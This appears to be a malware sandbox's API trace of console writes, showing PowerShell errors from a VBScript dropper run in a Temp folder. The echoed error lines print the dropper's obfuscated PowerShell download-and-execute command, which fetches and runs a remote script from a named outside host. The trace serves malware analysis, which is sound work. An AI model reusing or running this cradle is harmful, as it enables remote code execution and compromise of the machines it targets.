WriteConsoleW
|
buffer:
The term 'on' is not recognized as the name of a cmdlet, function, script file,
console_handle:
0x00000023
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
or operable program. Check the spelling of the name, or if a path was included
console_handle:
0x0000002f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
, verify that the path is correct and try again.
console_handle:
0x0000003b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\.file.txt.ps1:1 char:3
console_handle:
0x00000047
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ on <<<< error resume next
console_handle:
0x00000053
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ CategoryInfo : ObjectNotFound: (on:String) [], CommandNotFoundE
console_handle:
0x0000005f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
xception
console_handle:
0x0000006b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : CommandNotFoundException
console_handle:
0x00000077
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Set-Variable : A positional parameter cannot be found that accepts argument 'Cr
console_handle:
0x00000097
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
eateObject'.
console_handle:
0x000000a3
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\.file.txt.ps1:2 char:4
console_handle:
0x000000af
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ Set <<<< objShell = CreateObject ("WScript.shell")
console_handle:
0x000000bb
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ CategoryInfo : InvalidArgument: (:) [Set-Variable], ParameterBi
console_handle:
0x000000c7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
ndingException
console_handle:
0x000000d3
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell
console_handle:
0x000000df
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
.Commands.SetVariableCommand
console_handle:
0x000000eb
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
The term 'objShell.Run' is not recognized as the name of a cmdlet, function, sc
console_handle:
0x0000010b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
ript file, or operable program. Check the spelling of the name, or if a path wa
console_handle:
0x00000117
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
s included, verify that the path is correct and try again.
console_handle:
0x00000123
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\.file.txt.ps1:3 char:13
console_handle:
0x0000012f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ objShell.Run <<<< "powershell $KXE='iex(NeW-OBJeCT NeT.W';$kds='eBCLIeNT).D
console_handle:
0x0000013b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
OWNLO';Sleep 2;[BYTe[]];Sleep 3;$RHS='#$&@(''https://lambdacientifica.com/.f/.A
console_handle:
0x00000147
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
CTIVATED.txt'')'.RePLACe('#$&@','ADSTRING');Sleep 1;($KXE+$kds+$RHS) | iex" , 0
console_handle:
0x00000153
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
, True
console_handle:
0x0000015f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ CategoryInfo : ObjectNotFound: (objShell.Run:String) [], Comman
console_handle:
0x0000016b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
dNotFoundException
console_handle:
0x00000177
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : CommandNotFoundException
console_handle:
0x00000183
|
1
|
1 |
0
|